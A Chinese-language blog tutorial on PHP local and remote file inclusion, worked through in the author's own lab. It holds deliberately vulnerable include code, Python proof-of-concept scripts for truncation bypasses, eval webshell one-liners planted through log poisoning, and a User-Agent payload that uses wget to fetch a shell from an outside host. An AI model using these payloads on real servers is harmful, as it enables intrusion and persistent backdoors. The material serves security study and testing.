文件包含(LFI/RFI)

“懲惡揚善,取財有道” 這八個字應該是這個時代,白帽子職業,最有尊嚴的生存方式。

0x00 環境準備

phpstudy
sublime
firefox(hackbar)

0x01 本地文件包含(LFI)

被包含的文件在服務器本地

1. 常見本地包含

① show_1.php

<?php
	if ($_GET['page']) {
		include($_GET['page']);
	}
	else{
		echo "please input the pragram as page";
	}
?>

② 1_php.jpg

<?php phpinfo();?>

結果

http://zhutou.com/file_include/show_1.php?page=upload/1_php.jpg

在這裏插入圖片描述

③ show_2.php

<?php
	if ($_GET['page']) {
		include("./action/".$_GET['page']);
	}
	else{
		echo "please input the pragram as page";
	}
?>

結果

http://zhutou.com/file_include/show_2.php?page=../upload/1_php.jpg

在這裏插入圖片描述

2. 截斷本地包含

① 00 截斷

條件:Magic_quote_gpc爲off
原因:服務器的代碼規定了包含文件的後綴

<?php
	if ($_GET['page']) {
		include("./action/".$_GET['page'].".php");
	}
	else{
		echo "please input the pragram as page";
	}
?>

結果

http://zhutou.com/file_include/show_3.php?page=../upload/1_php.jpg%00

在這裏插入圖片描述

Poc

這裏需要注意 string = '../upload/1_php.jpg\u0000' 不能寫成 string = '../upload/1_php.jpg%00',因爲 %00 提交之後已經被編碼成 \u0000
在這裏插入圖片描述

#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
環境:phpstudy 搭建
漏洞源碼:/file_include/show_3.php
應用漏洞:文件包含,00截斷
'''
import requests
import urllib.parse

'''
zero_cut = urllib.parse.quote('%00') #對 %00 進行 url 編碼
print(zero_cut)
'''
string = '../upload/1_php.jpg\u0000' # 00 截斷
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}

r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()

if result.find('PHP Version 5.2.17') == -1: # 如果查找不到該字符串就返回 -1
    print('文件包含失敗!')
else:
    print('文件包含成功!')

結果

C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截斷.py
文件包含成功!

Process finished with exit code 0

② 長文件名截斷

Windows 和 Linux 的文件名長度是又限制的,超過長度的就會被忽略。通常情況下 Windows 的截斷長度是 260,Linux 的長度是 4096。
PS: 在 Windows 文件名後面加 /. 或者 \. 都可以。

show_3.php

<?php
	if ($_GET['page']) {
		include($_GET['page'].".php");
	}
	else{
		echo "please input the pragram as page";
	}
?>

Poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
phpstudy 搭建
漏洞源碼:/file_include/show_3.php
應用漏洞:文件包含,長文件名截斷
'''
import requests

string = ''
for i in range(260):
    string += '/.'

string = 'upload/1_php.jpg' + string # 長文件名截斷
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}

r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()
print(result)
if result.find('PHP Version 5.2.17') == -1: # 如果查找不到該字符串就返回 -1
    print('文件包含失敗!')
else:
    print('文件包含成功!')

結果

C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截斷.py
文件包含成功!

Process finished with exit code 0

0x02 遠程文件包含(RFI)

被包含的文件在第三方服務器
條件:allow_url_include=On,默認是關閉,開啓之後重啓服務即可

1. 常見遠程包含

用法和本地包含差不多,把本地的路徑換爲 url 即可

http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg

2. 截斷遠程包含

問號截斷法

把需要截斷的地方當成參數或直接放在問號後面即可。

http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?id=

或者

http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?

0x03 利用

1. Apache 錯誤日誌(error.log)上傳一句話

① 原理

構造一條不存在的 URL ,並將一句話插入其中,訪問出錯後在 apache 的錯誤日誌中會保存該 URL ,該方法很好地解決了不能上傳圖片馬的問題。

② 錯誤的 URL

http://zhutou.com/<?php @eval($_POST['pass'])?>

如果 error.log 太大,瀏覽器訪問超時的話,可以將一句話改爲如下代碼,使得包含日誌的時候在網站自動生成 shell.php

<?php $fp=fopen("../../WWW/shell.php","W+");fputs($fp,"<?php @eval($_POST['pass']);?>");fclose($fp)?>

PS: 這裏注意瀏覽器會自動給 URL 裏面的字符編碼,空格,尖括號等等。

③ 包含日誌

apache 日誌文件默認:
/etc/httpd/logs/access_log
/var/log/httpd/access_logs

通過 apache 的配置文件找日誌文件路徑:
/etc/httpd/conf/httpd
/etc/init.d/httpd

nignx 日誌文件默認在 logs 目錄下

Windows 2003 + iis6.0 日誌文件默認在:
C:\WINDOWS\system32\Logfiles
配置文件默認在:
C:\Windows\system32\inetsrv\metabase.xml

iis 7 日誌文件默認在:
%SystemDrive%inetpub\logs\LogFiles
配置文件默認目錄:
C:\Windows\System\inetsrv\config\applicationHost.config

2. Linux 環境變量包含一句話

原理是包含/proc/self/environ,這裏會有用戶訪問web的session信息,其中也會包含user-agent的參數,這個參數你瀏覽器名稱的參數。而這個參數在我們客戶端是可以修改的,
所以說想個辦法修改user-agen,比如修改成

<?system('wget http://81sec.com/shell.txt -O shell.php');?>

然後提交一個,包含/proc/self/environ的請求就可以了。

3. 包含 data:// 或者 php://input 等協議

條件:allow_url_include=on
這是一個 php 的輸入流,可以讀到沒有處理過的 POST 數據

$raw = file_get_contents('php://input','r');
echo $raw;

4. php://filter

http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=demo.php
或者:
http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/file_include/demo.php

0x04 參考文獻

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
https://blog.csdn.net/wangyi_lin/article/details/9837257
https://blog.csdn.net/zminr411421_/article/details/52042027#

                                                                                                                                          豬頭
                                                                                                                                       2020.4.18
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章